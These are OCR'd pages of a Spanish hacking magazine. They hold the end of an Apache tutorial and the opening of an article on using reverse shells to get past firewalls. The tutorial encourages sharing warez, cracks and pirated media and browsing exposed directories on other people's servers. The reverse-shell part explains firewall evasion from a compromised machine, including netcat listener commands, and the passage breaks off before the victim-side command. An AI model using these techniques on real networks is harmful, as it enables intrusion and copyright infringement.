            páginas HTML, compartir ficheros puedes dejarlo
            como está, pero si lo utilizas para ofrecer a tus
            amigos espacio web te recomendamos que
            reduzcas el tiempo.

            Port
            El puerto HTTP predeterminado es el 80 y es              !           Puedes utilizar...
            el que se utiliza en la mayoría de los servidores
            WEB. Puedes cambiar el puerto por uno                   Puedes utilizar un puerto diferente para que tu web sea
            comprendido entre el rango 1024 y 32769,                accesible desde Internet pero que no sea encontrada por
            ambos incluidos. Todos los puertos menores              los buscadores o que sea accesible solo para tus amigos
            de 1024 se consideran estándares y ya están             que conocen la dirección exacta, si cambias el puerto
            asignados por defecto a otros servicios. Ten            complicas bastante la detección de una web.
            en cuenta que si utilizas un puerto diferente al
            80, tienes que especificar el puerto en la URL
            dirigida al servidor.                                ServerAdmin

            Por ejemplo, si utilizas el puerto 8080, la url      Cuando ocurre un error el servidor web genera

Página 22                                                                                            PC PASO A PASO Nº 8
APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II




          un error y no puede mostrar la página solicitada          Por ejemplo, puedes tener otra unidad "e"
          envía una página de error, en esa página se               donde colocarás los archivos HTML, GIF, MP3,
          muestra una dirección email del administrador             DIVX, ..., Los parámetros a modificar serían:
          de sistema. De esta forma los visitantes del
          sitio web podrán informar de cualquier problema           ServerRoot "C:/apache/ "
          a través de un mensaje de correo electrónico.
                                                                    DocumentRoot "E:/"
          Por   ejemplo:       ServerAdmin
          webmaster@tudominio.com                                   Como puedes ver el root del servidor
                                                                    (ServerRoot) está donde se instaló el Apache
          Servername                                                mientras que el Root de las páginas web se
                                                                    encuentra en la unidad E. De esta forma tan
          Aquí puedes colocar un dominio o una IP,                  sencilla has dificultado el acceso al sistema de
          recuerda que este parámetro se configuró en               curiosos, os aseguro que muchas empresas de
          la instalación (en unos de los pasos explicados           hosting tienen un servidor muy potente con un
          en HxC nº7), ahora ya puedes cambiarlo con                disco duro de muchas gigas (en una unidad)
          el valor que quieras, como es un servidor de              y este disco duro está compartido por el sistema
          p r u e b a s p o n S e r ve r n a m e 1 2 7. 0 . 0 . 1   operativo y todos los dominios, cualquier
                                                                    webmaster con nociones de PHP puede acceder
          DocumenRoot                                               a otros dominios si estos parámetros están mal
                                                                    configurados. Primero vamos a aprender a
          Este parámetro indica al servidor que ha de               configurar el Apache que luego, en futuros
          considerar el directorio especificado como el             capítulos, veremos como podemos acceder al
          path del nivel superior. La elección de este              contenido de otros dominios teniendo acceso
          directorio es muy importante, por ejemplo si              desde uno ;)
          el valor es DocumentRoot "c:/" podrás acceder
          a todo el disco duro. Obviamente se puede                 Te adelantamos un detalle
          proteger dichos archivos estableciendo los                Hemos explicado varios parámetros que son
          permisos oportunos.                                       muy importantes para la configuración del
                                                                    servidor Apache, el fichero httpd.conf lo tienes
          A este root (el documentRoot) se le llama Root            configurado para que funcione en un sólo
          virtual, para aclarar el documentroot y que               espacio web, es decir, tienes un dominio o IP
          veas la utilidad de este importante parámetro,            asociado a un espacio de disco de tu ordenador.
          el valor es la ruta PATH del disco desde donde            Pues te adelantamos que puedes crear más
          puede Apache encontrar las páginas web por                espacios webs en tu ordenador, es decir, ¿has
          defecto.                                                  pensado ofrecer hosting a tus amigos?, con
                                                                    Apache es posible, puedes alojar en tu mismo
          Si tienes dos discos duros, puedes colocar en             ordenador varios dominios y cada uno con su
          un disco duro la instalación de Apache junto              propia configuración. Pero no corramos, en el
          con los archivos del sistema operativo y colocar          próximo capítulo aplicaremos todo lo aprendido
          en otro disco duro las páginas webs, de                   en este número, que no es poco, creando varios
           este modo no corres el riesgo de que algún               sitios en tu propio ordenador. Tu servidor no
          curioso pueda acceder al disco duro donde                 será muy diferente a los servidores de empresas
          tienes instalado el sistema (apache, sistema              de hosting.
          operativo) y fastidiarte como ya te puedes
          imaginar.                                                 ¿Por qué te decimos todo esto? Muy sencillo,

PC PASO A PASO Nº 8                                                                                                    Página 23
APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II




            todos los parámetros que hemos comentado              verás que dice que no tienes permisos para
            son globales, es decir, afectan a todos los sitios   ver el contenido del directorio. ¿Qué pasos ha
            creados. Puedes configurar sitios con                seguido Apache?, lo primero que ha realizado
            parámetros personalizados, por ejemplo, puedes       es buscar el archivo índice con extensión .html
            crear un sitio que para acceder tengan que           y como no lo ha encontrado ha mostrado la
            poner el puerto 8080 y otro sitio con el puerto      página de que no tienes permisos para ver el
            80. Más adelante verás la diferencia.                contenido.

            "Ocultamiento" de archivos                           Mira el fichero de configuración (httpd.conf),
                                                                 busca lo siguiente:
            En el directorio del sitio web (c:apachehtdocs,   <Directory />
            recuerda que aquí es donde tienes que alojar          Options FollowSymLinks
            todas las páginas html e imágenes) tienes que         AllowOverride None
            tener un index.html de "Hola mundo" creado           </Directory>
            en HxC nº 7, pues bórralo y crea los siguientes
            directorios: divx, mp3, xxx, crack, serial y         De la siguiente forma (muy simple), le indicamos
            warez.                                               a Apache las propiedades del directorio raíz
                                                                 (fíjate que pone /). Poner / es lo mismo que
                                                                 poner el valor de DocumentRoot. Por lo tanto
                                                                 lo anterior es lo mismo que:
                                                                 <Directory c:apachehtdocs >
                                                                   Options FollowSymLinks
                                                                   AllowOverride None
                                                                 </Directory>

                                                                 Ahora comenta el contenido, déjalo como
                                                                 sigue:

                                                                 <Directory c:apachehtdocs >
                                                                  #Options FollowSymLinks
                                                                  #AllowOverride None
                                                                 </Directory>

                                                                 Como estarás un poco harto de parar el servidor
                                                                 para luego iniciarlo, los creadores de Apache
                                                                 ya pensaron ello y buscaron una solución. Si
                                                                 utilizas apache -k restart reinicias el servidor
                                                                 web sin necesidad de parar el servidor web.
            Recuerda que el parámetro DocumentRoot
            tiene que apuntar al directorio donde has            Pon de nuevo la url http://127.0.0.1, ¿qué ves?,
            creado los directorios, en este caso sería           han aparecido los directorios creados incluso
            DocumentRoot "c:apachehtdocs".                    puedes navegar por ellos. De esta forma tan
                                                                 sencilla puedes compartir tus ficheros sin
            Con Apache en marcha (Apache.exe -k start)           necesidad de conocer HTML y sin instalar otros
            pon en el navegador la url: http://127.0.0.1         programas. Cualquier navegante que ponga
            (suponiendo que hayas dejado el puerto 80),          tu url accederá a los directorios y podrá

Página 24                                                                                            PC PASO A PASO Nº 8
APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II




           descargarse los archivos.                           se encuentre en dicho directorio, algo muy
                                                               peligroso para la seguridad del servidor ;)

                                                               La decisión de ocultar los archivos depende de
                                                               la utilidad que le des a la web, en esta práctica
                                                               se han creado las carpetas (crack, divx, mp3,
                                                               serial, warez, xxx) para poder compartir los
                                                               archivos sin necesidad de FTP. La mayoría de
                                                               los servidores de alojamiento gratuito tienen
                                                               prohibido que alojes ficheros de gran tamaño
                                                               como los archivos divx o algunos mp3. Ahora
                                                               puedes utilizar tu propio servidor web para
                                                               compartir los archivos sin depender de los
                                                               servidores gratuitos que te ponen tantas pegas.

                                                               4.- ¿Qué has aprendido?

                                                               Has aprendido a arrancar, parar y resetear el
                                                               servidor Apache mediante el comando
          ¿Quieres ver el contenido de uno de los              Apache.exe. Has aprendido a averiguar la versión
          directorios de hackxcrack? Pon                       del servidor Apache mediante el cliente telnet
          http://www.hackxcrack.com/imagenes/ o                e incluso de otros servicios utilizando el
          http://www.hackxcrack.com/entrada/, al no            navegador. Has aprendido las principales
          tener un fichero índice (index.html) muestra         directivas globales del servidor Apache y como
          el contenido del directorio.                         utilizarlas para configurar y proteger tu servidor
                                                               Apache. Has aprendido a compartir archivos
          Te sorprenderás si haces pruebas con otros           utilizando el servidor y accediendo mediante
          servidores, verás que muchas veces los               un simple navegador.
          administradores no protegen los directorios
          dejando los contenidos accesibles a los curiosos.    ¡¡ Ya sabes algo más del funcionamiento de
          Muchas veces los programadores web dejan             22.045.420 servidores webs !!
          ficheros txt con instrucciones de cómo usar
          algunos ficheros, al dejar visible los directorios   Como ejercicio puedes poner en marcha un
          y además poder navegar en ellos podrás acceder       propio servidor web y compartir MP3 y algunas
          a información que tal vez sea privada. Es            pelis, anuncia la url en el foro de hackxcrack,
          importante que pongas un fichero índice en           ¿algún valiente?
          aquellos directorios que no deseas que se
          muestren los archivos (cuando hablamos de            En el próximo número ...
          fichero índice nos referimos al index.html). Sin     Ampliaremos las directivas y crearemos
          el fichero índice el servidor mostrará               servidores virtuales para que puedas ofrecer a
          automáticamente uno con una serie de enlaces         tus amigos espacio web como lo hacen los
          que permitirán acceder a su contenido, de esta       grandes portales como Iespana, Terra, Lycos,
          forma es posible acceder a la información vital       ... pero sin publicidad.
          o que, alguien que carece de los permisos
          oportunos, ejecute algún archivo binario que         Recuerda que lo más importante es que te des


PC PASO A PASO Nº 8                                                                                                 Página 25
APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II




                cuenta de que tu pequeño ordenador puede                    tanto de tu servidor web Apache pues la mayoría
                ser visto como un gran servidor de cara a los               de ellos tienen otro servidor Apache ;)
                navegantes, y que el funcionamiento de los
                servidores web a los que te conectas no difieren            David C.M




                        SUSCRIBETE A
                        PC PASO A PASO
                                                                              45 EUROS (10% DE DESCUENTO)
   SUSCRIPCIÓN POR:                                                           +
   1 AÑO                                                       =              SORTEO DE UNA CONSOLA XBOX
                                                                              +
   11 NUMEROS                                                                 SORTEO 2 JUEGOS PC (A ELEGIR)

C o n t r a R e e m b o l s o Giro Post al
Solo tienes que enviarnos un mail a preferente@hackxcrack.com              Envíanos un GIRO POSTAL por valor de 45 EUROS a:
indicando:                                                                 CALLE HIGINIO ANGLES Nº2, 4º-1ª
- Nombre                                                                   CP 43001 TARRAGONA
- Apellidos                                                                ESPAÑA
- Dirección Completa                                                       IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto
- Población                                                                o un número de Teléfono.
- Provincia
- Cógigo Postal                                                            Y enviarnos un mail a preferente@hackxcrack.com indicando:
- Mail de Contacto y/o Teléfono Contacto                                   - Nombre
Es imprescindible que nos facilites un mail o teléfono de contacto,        - Apellidos
puesto que 24 horas después de que recibamos tu petición de                - Dirección Completa
subscripción te daremos un número de Cliente Preferente. Este              - Población
número será utilizado para los sorteos.                                    - Provincia
- Tipo de Subscripción: CONTRAREEMBOLSO                                    - Cógigo Postal
- Número de Revista:                                                       - Mail de Contacto y/o Teléfono Contacto
Este será el número a partir del cual quieres subscribirte. Si deseas      Es imprescindible que nos facilites un mail o teléfono de contacto,
(por ejemplo) subscribirte a partir del número 5 (incluido), debes poner   puesto que 24 horas después de que recibamos tu petición de
un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)              subscripción te daremos un número de Cliente Preferente. Este
                                                                           número será utilizado para los sorteos.
APRECIACIONES:                                                             - Tipo de Subscripción: GIRO POSTAL
* Junto con el primer número recibirás el abono de 45 euros, precio        - Número de Revista:
de la subscripción por 11 números (un año) y una carta donde se te         Este será el número a partir del cual quieres subscribirte. Si deseas
indicará tu número de Cliente Preferente y justificante/factura de la      (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner
subscripción.                                                              un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)
* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
indicado; rellenando el formulario de nuestra WEB                          APRECIACIONES:
(www.hackxcrack.com) o enviándonos una carta a la siguiente dirección:     * Junto con el primer número recibirás una carta donde se te indicará
CALLE HIGINIO ANGLES Nº2, 4º-1ª                                            tu número de Cliente Preferente y justificante/factura de la subscripción.
CP 43001 TARRAGONA                                                         * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
ESPAÑA                                                                     indicado; rellenando el formulario de nuestra WEB
* Cualquier consulta referente a las subscripciones puedes enviarla        (www.hackxcrack.com) o enviándonos una carta a la siguiente dirección:
por mail a preferente@hackxcrack.com                                       CALLE HIGINIO ANGLES Nº2, 4º-1ª
                                                                           CP 43001 TARRAGONA
                                                                           ESPAÑA
                                                                           * Cualquier consulta referente a las subscripciones puedes enviarla
                                                                           por mail a preferente@hackxcrack.com



 Página 26                                                                                                             PC PASO A PASO Nº 8
REVERSE SHELL
             BURLANDO AL FIREW ALL

          1.- NOTA DEL AUTOR.                                  os suene a chino a muchos de vosotros, la
                                                               consecuencia práctica es que no podréis ejecutar
          Hola a todos.                                        el programa en un Windows... ¿A qué esperáis
          Antes de entrar en materia me gustaría               para instalaros un Linux? ;-) En los foros de
          comentar unos cuantos puntos que me parecen          hacxcrack encontrareis mucha información útil
          importantes... Sí, ya sé. "Otro rollo para ocupar    si os decidís a hacerlo.
          espacio con paja", diréis... Po zí, o no, o yo
          que sé. Lo único que sé es que CREO que debo
                                                                  !            Comentario de...
          decirlo ;-)

                                                                  Comentario de Hack x Crack: El FORO de hackxcrack (en
          En primer lugar quiero dejar claro que este es
                                                                  www.hackxcrack.com) es donde mejor puedes solucionar
          un artículo que intenta profundizar en un
                                                                  tus dudas con respecto a los artículos publicados en esta
          concepto, y no enseñaros a configurar una
                                                                  revista. Muchos de vosotros nos enviáis mails preguntando
          herramienta que os permita explotar un bug,
                                                                  sobre los problemas que os surgen a la hora de hacer los
          romper un sistema o haceros con un servidor.
                                                                  ejercicios y es imposible contestar a todo el mundo, para
          Si lo que buscáis es esto... Mejor que paséis a
                                                                  eso existe EL FORO, para compartir con todos tus dudas
          otro artículo.
                                                                  y tus conocimientos. De verdad, si tienes dudas, por favor,
                                                                  pásate por el foro y formula tus preguntas para que entre
          En segundo lugar, este artículo NO pretende
                                                                  todos podamos intentar ayudarnos.
          en NINGÚN caso ser una introducción al
          concepto de "firewall" ni una iniciación a la
          programación Perl. Esos son temas que deben
          ser tratados a fondo y, corresponderían a otro       En quinto lugar decir que, si bien algunos
          artículo (aunque no creo que la mejor forma          conceptos tratados en este artículo puedan
          de aprender perl, p.ej., sea leer artículos... son   parecer algo avanzados a alguien sin
          sólo un complemento).                                conocimientos, es bien cierto que deberéis
                                                               acostumbraros a manejarlos cuanto antes si
          En tercer lugar, mi intención NO es que sepáis       de verdad estáis interesados en temas de
          como burlar la seguridad de una red para             seguridad. En números atrasados YA se han
          aprovecharos fraudulentamente de ello. Lo            mencionado temas como "puertos", "shell (o
          único que pretendo es que entendáis como             interfaz de comandos)", "netcat", "TCP/IP",
          alguien podría llegar a "burlar" ciertos elementos   etc. Tratad de ahondar en estos, y otros,
          de seguridad de vuestros sistemas y os preparéis     conceptos. A pesar de lo maravillosa que pueda
          para hacerle frente.                                 ser esta revista, no es la única fuente de
                                                               información que tenéis a vuestra disposición...
          En cuarto lugar debo mencionar que el                Usad cuantas podáis. No es más que un consejo
          programilla que se expone al final del artículo      ;)
          funciona bien en UNIX (o sistemas "UNIX style"
          como GNU/Linux). Esto es debido al modelo            Finalmente quisiera dar el mérito a quien lo
          de programación empleado, donde se realiza           tiene. Gracias a Breos por su paciencia y
          una llamada a la función "fork", propia del UNIX     colaboración. Gracias a Van Hauser de THC, la
          (Windows utiliza threads)... Aunque todo esto        idea del programa original (rwww-shell) es toda

PC PASO A PASO Nº 8                                                                                               Página 27
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




            suya, así como el mérito en el desarrollo de la    Víctima: El ordenador de la red interna al que
            misma. Y gracias a hackxcrack por tratar de        tenemos algún tipo de acceso pero no podemos
            facilitarnos una publicación que trate estos (y    controlar desde el exterior.
            otros temas) de forma que puedan estar al
            alcance de todos.                                  Otros Equipos: Otros ordenadores y/o
                                                               periféricos que forman parte de la red interna.
            2.- PRIMER ESCENARIO.
            Supongamos el siguiente escenario. Existe una      Firewall: El cortafuegos que el Administrador
            red de área local, que se conecta a Internet a     ha colocado entre Internet y la red interna,
            través de un firewall de filtrado de paquetes      incluida la máquina víctima.
            IP (luego pongo un ejemplo para intentar
            explicar este "extraño" concepto). Nosotros        Reglas de tráfico entrante: El Administrador
            tenemos acceso a una de las máquinas de la         ha configurado el cortafuegos para que NADIE
            red interna (sea porque trabajamos allí, porque    pueda comenzar una conexión desde el exterior
            tenemos un infiltrado o porque hemos logrado       con una máquina de la red interna. No importa
            que un "pipiolo" ejecute todo lo que le enviamos   que puertos tenga abiertos la máquina
            por correo), pero NO podemos establecer una        “víctima”... EL cortafuegos no dejará que se
            sesión interactiva (o sea, abrir una consola)      llegue a ellos (parará los intentos de conexión).
            desde el exterior porque el firewall nos lo
            impide.                                            Reglas de tráfico saliente: El Administrador
                                                               ha configurado el cortafuegos para que
            Veamos como podría ser esto:                       cualquiera de la red interna pueda conectarse
                                                               a Internet vía HTTP (o sea, para navegar por
                                                               páginas web). Además, también se permite
                                                               tráfico SMTP y POP a una IP determinada (para
 Víctima                                                       el envío y recepción de correo). El resto del
                                                               tráfico saliente no está permitido.


                      Reglas de tráfico         Internet           !            Comentario de...
                      entrante
                                                                  Comentario de Hack x Crack: Si no tienes ni idea de lo
                                                                  que es un firewall sería recomendable que te leyeses el
  Otros                                                           número 1 de esta revista, lo tienes disponible en nuestra
 equipos              Reglas de tráfico                           Web de forma totalmente gratuita ;)
                      saliente


                                                               Bien... Llegados a este punto podemos explicar
                                                               un poco más a fondo lo que sucede con las
                                                               reglas entrantes y salientes. Para ello
                                                               explicaremos MUY básicamente que hace el
                                                               cortafuegos de filtrado IP que hemos supuesto
            Víctima: El ordenador de la red interna al que     en nuestro escenario.
            tenemos algún tipo de acceso pero no podemos
            controlar desde el exterior.                       Veamos lo que significa el tipo de reglas de

Página 28                                                                                            PC PASO A PASO Nº 8
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




                 tráfico entrante que se han definido: Se ha             páginas de guarras, que es mucho más
                dicho que el cortafuegos no permitirá que se             productivo). Se trata de una regla muy común
                inicie una conexión desde el exterior con                que encontrareis, de una u otra forma, en la
                ninguna máquina de la red interna. Esto quiere           mayoría de los cortafuegos empresariales.
                decir que, si colocamos un troyano convencional
                (tipo B.O. o Sub7) a la escucha en el puerto             Esta regla sería más o menos como sigue:
                5000 de nuestra máquina víctima NO NOS                   "Permite que las máquinas de mi red interna
                SERVIRÁ DE NADA, porque el cortafuegos no                hagan peticiones a cualquier máquina de
                dejará que nos conectemos a esa máquina                  Internet, siempre que las dirijan a los puertos
                desde casa por muchos puertos, troyanos y/o              80 o 443 usando el protocolo TCP".
                servicios que tengamos a la escucha. El famoso
                serv-u comentado en un número anterior de
                esta revista NO nos permitiría conectarnos a
                                                                                           Paso 1: el Pc Víctima SE CONECTA al PC EXTERIOR
                esta máquina... Ese maldito cortafuegos...                  Pc                 Firewall                    Internet                 Pc
                                                                          Víctima                                                                Atacante
                Tendríamos una regla que se podría
                traducir así:
                “Impide el intento de conexión a cualquier
                puerto de cualquier máquina de mi red interna
                si el origen viene desde Internet, sea el protocolo
                que sea”
                                                                         Intentando          Permitiendo                                     con un Servidor Web
                                                                         conectarse al       peticiones al                                   (o cualquier otro
   Pc             Firewall            Internet                Pc         puerto 80 ó 443     puerto80 y 443                                  software) atendiendo
 Víctima                                                   Atacante      de un Pc            de cualquier Pc                                 las peticiones al
                                                                         EXTERIOR            EXTERIOR                                        puerto 80

                                                                          Paso 2: el Pc EXTERIOR permite la conexión y envia los datos ped idos al Pc Víctima
                                                                            Pc                 Firewall                    Internet                 Pc
                                                                          Víctima                                                                Atacante
Tiene un         Bloqueando                            Intentando
troyano          cualquier início                      iniciar una
escuchando en    de conexión                           conexión en el
el puerto 80     desde el                              puerto 5000 del
                 exterior                              PC víctima
5000
                                                                         Recibiendo          Permitiendo el                                  Enviando una
                Ahora fijémonos en las reglas de tráfico saliente.
                                                                         contestación        paso de la                                      respuesta al Pc
                Podemos ver que, si es la máquina víctima la
                                                                                             respuesta del                                   Víctima
                                                                                             Pc EXTERIOR
                que inicia la conexión (desde dentro y no desde
                fuera), se nos permite conectarnos a los puertos
                80 y 443 de cualquier máquina de Internet
                (puertos más comunes de los servidores Web).
                                                                             !                  Comentario de...
                Esto está pensado para que la gente de la red
                                                                             COMENTARIO DE HACK X CRACK: Muchos lectores
                interna pueda navegar por Internet y realizar
                                                                             estarán preguntándose como es posible que en el PASO 2,
                las funciones propias de su trabajo (o ver las

PC PASO A PASO Nº 8                                                                                                                            Página 29
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




  el PC EXTERIOR pueda enviar datos al PC Víctima                De modo que pasas y establecéis una comunicación de la
  teniendo un Firewall que en principio debería DETENER          siguiente forma:
  cualquier tipo de "transferencia". Bien, ES                    Comandante (PC Víctima): Te requirió a su presencia de
  IMPRESCINDIBLE que entiendas lo siguiente: Una cosa            forma inmediata.
  es la "Petición de Conexión" y otra muy distinta la            Tú (PC Exterior): Llegas ante el Teniente y te identificas
  "Respuesta a una petición" y posterior "Conversación".         como alguien que ha sido requerido por el comandante.
  Vamos a ver estos conceptos dos ejemplos: un "paralelismo      Teniente (FIREWALL): Verifica que efectivamente fue el
  militar" ;) y un "amigo pasota".                               comandante el que te llamó, y no eres un jetas que trata de
                                                                 entrar con una treta para llenar el sillón del comandante
  Paralelismo Militar:                                           con miguitas de pan. Una vez verificado te deja pasar sin
  Supongamos que eres soldado raso del glorioso cuerpo de        problemas ni preguntas.
  la legión española. Supongamos también que estás destinado
  en un cuartel con un reglamento muy estricto.                  --- En este momento establecéis una conversación ---
                                                                 Tú: Entras y te presentas ("A sus ordenes de usted, mi
  Este reglamento prohibe que un soldado raso (PC Exterior)      Comandante, se presenta el soldado raso Juan Tanamera
  hable con el comandante del puesto (PC Víctima) SIN            Guajira").
  haber sido preguntado o requerido por el mismísimo Señor
  Comandante (PC Víctima). Es decir, si el comandante no         Comandante: Te dará las ordenes oportunas ("vaya a limpiar
  se pone en contacto contigo, olvídate de mantener una          mi retrete de inmediato... Esta mañana la diarrea no me
  charla con él.                                                 permitió llegar a tiempo al excusado.").

  Como tú (PC Exterior) eres mu chulo, decides que vas a         Tú: Te aseguras de lo que tienes que hacer ("¿Con la lengua,
  ir a hablar con el comandante (PC Víctima). Entras en las      mi Comandante?").
  dependencias y te encuentras con un Teniente (FIREWALL)        Comandante: Te contesta ("Por supuesto soldado. ¿Acaso
  plantado delante de la puerta del comandante. Le explicas      hay otra forma?").
  al Teniente educadamente que necesitas hablar con el Señor
  Comandante (Petición de Conexión), pero tan sólo recibes       --- Fin de la conversación ---
  un "NO" como respuesta. Da igual como te pongas... De
  hecho, si eres demasiado insistente puedes provocar las        Tú te retiras y no podrás volver a hablar con él hasta que
  iras del teniente y dar con tus huesos en el calabozo (baneo   seas requerido a su presencia nuevamente (por mucho que
  al canto ;p).                                                  trates de ir a asegurarle lo limpio que lo has dejado todo,
                                                                 mostrándole las pruebas del trabajo bien hecho aún visibles
  Ese mismo día el comandante TE LLAMA (Petición de              en tu lengua)
  Conexión al PC Exterior). Llegas al despacho y te encuentras
  con el mismo teniente (FIREWALL). Le explicas que te           Como puedes ver, es perfectamente posible que entables
  ha llamado el comandante (PC Víctima) y el Teniente,           un diálogo con el comandante... Pero es él quien debe
  después de verificar que en efecto ha sido así, te franquea    realizar la petición de que ese diálogo se produzca. Si lo
  el paso sin problemas. Está "obligado" por el mismo            intentas tú, sólo conseguirás estrellarte una y otra vez contra
  reglamento a dejarte pasar, o sería él el que no está          el teniente de turno.
  cumpliendo su función al no permitir que te comunicases
  con vuestro jefe supremo A REQUERIMIENTO DE ESTE               Ahora veamos los protagonistas nuestra historia:
  (con el riesgo de dar él con sus huesos en el consabido
  calabozo).                                                     Soldado Juan Tanamera Guajira (Tú): Máquina



Página 30                                                                                            PC PASO A PASO Nº 8
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




  Atacante/Exterior.                                                    intentos de conexión desde el exterior, también puede
  Teniente: Firewall... Sigue al pie de la letra un reglamento          auditar el tráfico y decidir si los datos que le llegan desde
  claro y estricto.                                                     el exterior son los esperados o no. Guarda este último
  Comandante: Máquina Víctima (hombre, visto así... je je               párrafo "calentito" en tu mente, lo necesitarás cuando
  je)                                                                   avances en el artículo ;p

  Pos eso ;)                                                            Perdonad si hemos sido demasiado "pesados" con estos
                                                                        ejemplos, pero repito que ES IMPRESCINDIBLE entender
  AMIGO PASOTA:                                                         estos conceptos. He visto cómo muchas personas "se
  Imaginemos que estamos andando por la calle y vemos (a                pierden" leyendo textos de Seguridad Informática porque
  lo lejos) a un conocido, le pegamos un grito (intento de              no saben diferenciar los distintos "estados" por los que
  conexión) PERO como nuestro amigo es un tipo muy                      pasa una "sesión/conexión". Cuando expliquemos (un día
  "cerrado" hace como que no te oye y sigue su camino sin               de estos) detalladamente cómo se establecen las conexiones,
  hacerte caso. Tu "conocido" es como si tuviese un firewall            verás que hay muchos más pasos intermedios de los que
  en el cerebro, no admite intentos de conexión!!!                      te puedas llegar a imaginar ;)

  Otro día ese mismo conocido te da unos golpecitos por la
  espalda y te saluda amablemente (intento de conexión) y          Además, Nos encontramos con que podemos
  tú le devuelves el saludo (aceptación de conexión) e iniciáis    enviar y recibir correo, usando el servidor de
  una conversación que dura 20 minutos (intercambio de             correo de nuestro ISP (Proveedor de Internet).
  datos después de la aceptación de conexión).                     Supongamos que la dirección IP del servidor
                                                                   de correo de nuestro ISP es 10.20.20.1 (por
  Date cuenta que una cosa es el INTENTO DE CONEXIÓN               supuesto, esta dirección IP pertenece a un
  (el saludo) y otra es el INTERCAMBIO DE DATOS (la                rango inválido en Internet y se usa solo como
  conversación). Lo que hace el FIREWALL es impedir los            ejemplo). Los puertos comunes para el correo
  intentos de conexión desde el exterior, pero no el intercambio   saliente y entrante son el 25 y el 110
  de datos. Y por descontado, si no hay "saludo" (conexión),       respectivamente.
  no hay conversación (intercambio de datos); lee el número
  1 de Hack x Crack y verás otro ejemplo :)                        Nos encontramos con una regla similar a
                                                                   esta:
  Antes de cerrar esta larga NOTA, explicamos algo más. El         "Permite que las máquinas de mi red interna
  FIREWALL puede no solo impedir conexiones desde el               se conecten con la máquina que está en la
  exterior, sino que además, puede que no le guste la              dirección de Internet 10.20.20.1 siempre que
  conversación y cerrarla de inmediato… je, je… ¿Cómo?             el tráfico se dirija a los puertos 25 o 110, usando
  ¿Qué? Si, es muy sencillo!!! Imagina que el PC Víctima                  el protocolo TCP".
  inicia una conexión con un PC EXTERIOR esperando
  encontrar la respuesta de un Servidor Web (que habla un
                                                                       !             Nota para...
  lenguaje llamado http ;)) PERO en lugar de recibir la
  respuesta esperada, el PC EXTERIOR le responde en otro
                                                                      NOTA PARA LOS PURISTAS: Generalmente existirá, al
  lenguaje (protocolo ;))… ummm… entonces el FIREWALL
                                                                      menos, una regla más relacionada con las peticiones DNS
  se cabrea y cierra la conexión inmediatamente!!! Como
                                                                      (puerto UDP 53) para que la resolución de nombres funcione
  puedes ver, un FIREWALL tiene muchas maneras de
                                                                      correctamente y el escenario que hemos presentado resulte
  proteger al PC Víctima, no todo es cuestión de impedir
                                                                      realista, así como una regla inicial que deniegue todos los


PC PASO A PASO Nº 8                                                                                                      Página 31
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




                                                                  Por lo tanto, en mi equipo debo tener alguna
  accesos, por defecto, desde/hacia cualquier sitio por           otra herramienta escuchando en uno de los
  cualquier puerto... Pero eso no es relevante para el objetivo   puertos objetivo. Veamos, ¿De donde saco algo
  de este artículo.                                               así?

                                                                  Ante este primer escenario, no hay por que
                                                                  complicarse la vida. YA disponemos de una
  !             Comentario de...                                  herramienta que nos permitirá llevar a cabo
                                                                  esta conexión: el netcat ;).
  Comentario de Hack x Crack: Es el último "añadido" que
  hacemos, no queremos ensuciar este EXCELENTE artículo
  interrumpiéndolo constantemente… IP Interna, IP Externa,            !             Sí buscáis...
  DNS, puertos, servicios, TCP/UDP, netcat, shell, cmd y
  muchos otros conceptos implícitos en este texto han sido            Si buscáis por Internet encontrareis varias herramientas
  ya estudiados en los anteriores números de esta publicación,        que permiten hacer un "reverse shell" de forma más intuitiva,
  así que, ya sabes ;)                                                pero mi intención es mostraros el concepto y la técnica...
                                                                      Queda a vuestro criterio que herramienta os gusta o convence
                                                                      más. El uso de netcat ilustra perfectamente el funcionamiento
             Pues ya vemos como pintan las cosas. Un                  de esta técnica.
             troyano convencional, que abra un puerto en
             la máquina víctima y se ponga a la escucha no
             nos servirá de nada, porque no podremos llegar       Veamos como podemos usar el netcat para hacer
             a ese puerto... ¡"Cagonel" p*** firewall...!         esto. Para ello necesitaremos tener el netcat en la
                                                                  maquina víctima y en nuestra maquina atacante en
             De la misma forma, el netcat usado tal y como        el exterior. Supongamos que la IP de nuestra maquina
                                                                  en Internet es 192.168.100.100 (otra dirección
             se explicó en la revista tampoco nos servirá de
                                                                  inválida ;)).
             nada... Abrirá una shell y se quedará
             escuchando en un puerto al que nunca podré
                                                                  Revisemos nuestro objetivo: Queremos que la
             acceder desde el exterior... Tengo que buscar
                                                                  máquina víctima inicie la conexión hacia nuestra
             otra alternativa.                                    maquina atacante y que nos suministre una shell de
                                                                  comandos.
             Veamos, ¿Qué me permite el firewall? Me
             permite cursar tráfico comenzando la petición        Podemos conseguir esto usando el netcat y el "pipe"
             desde una máquina en el interior de la red...        (|) del S.O. (Sistema Operativo). Veamos como:
             Además, dicho tráfico debe estar dirigido a los
             puertos 80 o 443. También me deja cursar             En la máquina atacante (nuestra máquina exterior)
             tráfico hacia los puertos 25 y 110, pero como        abrimos DOS consolas de comandos y escribimos lo
             solo me permite hacerlo a una IP concreta (la        siguiente (una instrucción en cada consola):
             del Servidor de Correo del ISP) me olvidaré de
                                                                  (En la primera consola) nc -vv -l -p 80
             estos por el momento...

                                                                  (En la segunda consola) nc -vv -l -p 443
             Ok, lo que necesito es un troyano (o
